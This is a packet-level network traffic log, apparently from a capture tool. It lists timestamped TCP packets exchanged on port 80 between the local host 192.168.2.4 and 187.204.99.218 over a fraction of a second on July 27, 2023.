Jul 27, 2023 18:27:08.216278076 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.216310024 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.220258951 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220334053 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220398903 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220460892 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220464945 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.220509052 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220556974 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220565081 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.220602036 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220613003 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.220649958 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220696926 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220706940 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.220742941 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220791101 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220839024 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.220849037 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.220899105 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.224106073 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224175930 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224246025 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224320889 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224323988 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.224366903 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224414110 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224421024 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.224461079 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224468946 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.224507093 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224554062 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224560976 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.224600077 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224647045 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224653006 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.224694014 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224740028 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.224745989 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.227199078 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227298975 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227340937 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.227444887 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227514982 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227538109 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.227581024 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227636099 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227638006 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.227682114 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227729082 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227734089 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.227775097 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227821112 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227826118 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.227868080 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227915049 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.227926970 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.227963924 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.228037119 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.230329037 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230396986 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230457067 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230463982 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.230503082 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230549097 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230570078 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.230595112 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230640888 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230649948 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.230688095 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230735064 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230781078 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230788946 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.230828047 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230875015 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230880976 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.230921030 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.230927944 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.231240988 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.233606100 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.233675003 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.233738899 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.233741045 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.233784914 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.233833075 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.233855963 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.233880043 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.233880997 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.233927011 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.233973980 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.233985901 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.234023094 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.234107018 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.234133005 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.234153986 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.234204054 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.234272003 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.236668110 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.236716986 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.236726046 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.236763000 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.236808062 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.236841917 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.236855984 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.236903906 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.236927032 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.248455048 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.391248941 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391319990 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391369104 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391417027 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391424894 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.391469955 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.391477108 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391522884 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391567945 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391592979 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.391612053 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391658068 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391700983 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391715050 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.391746998 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391763926 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.391794920 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.391866922 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.397239923 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397313118 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397361994 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397408009 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397434950 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.397454023 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397502899 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397520065 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.397551060 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397597075 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397614002 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.397644997 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397653103 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.397696972 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397744894 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397763968 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.397793055 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397840023 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.397907972 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.402256012 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402430058 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402518034 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.402534008 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402581930 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402626991 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402638912 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.402683020 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.402746916 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402811050 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402872086 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402921915 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402951956 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.402966976 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.402991056 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.403012991 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.403059006 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.403069973 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.403106928 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.403162003 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.406894922 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.406964064 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407016039 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407063007 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407080889 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.407109976 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407155037 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407167912 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.407203913 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407217979 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.407250881 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407298088 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407309055 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.407345057 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407390118 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.407402039 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.407437086 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.408247948 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.411467075 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411533117 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411578894 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411603928 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.411624908 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411669970 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411684036 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.411715984 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411761045 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411806107 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411817074 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.411850929 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411900043 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411926031 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.411945105 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.411963940 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.412034988 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.412081957 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.412132978 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.415863991 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.415934086 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.415981054 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.415991068 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416052103 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416111946 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.416116953 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416163921 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416213036 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416228056 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.416259050 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416290998 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.416358948 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416407108 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416445971 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.416450977 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416496992 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416501999 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.416543007 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.416600943 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.419359922 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419430017 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419478893 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419508934 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.419526100 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419610977 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419657946 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419668913 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.419704914 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419751883 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419766903 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.419800043 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419806957 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.419846058 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419893026 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419909000 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.419938087 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419985056 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.419996023 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.422930956 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.422995090 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423037052 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.423062086 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423106909 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423116922 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.423152924 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423202038 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423245907 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423263073 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.423291922 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423337936 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423351049 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.423384905 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423398018 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.423432112 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423476934 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423495054 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.423523903 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.423582077 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.426569939 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.426734924 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.426834106 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.426889896 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.426893950 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.426959038 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.426970005 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.427006006 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.427053928 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.427059889 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.427098036 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.427150011 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.427161932 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.427215099 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.427261114 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.427305937 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.427321911 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.427351952 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.427409887 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.429934025 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.429994106 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430003881 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.430052996 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430105925 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.430116892 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430179119 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430237055 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.430238962 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430285931 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430330992 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430340052 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.430376053 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430421114 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430465937 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430480957 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.430510998 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430557013 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.430581093 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.430603981 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.432995081 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433064938 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433126926 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433182955 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433202982 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.433231115 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433275938 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433284998 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.433321953 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433329105 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.433366060 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433412075 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433423996 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.433458090 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433502913 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.433514118 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.433549881 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.435554981 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.435620070 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.435638905 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.435667038 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.435678959 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.435714006 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.435770035 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.435827017 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.435892105 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.435945988 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.435950041 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.435992002 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.436038017 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.436083078 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.436093092 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:08.436129093 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:08.436175108 CEST	80	49711	187.204.99.218	192.168.2.4
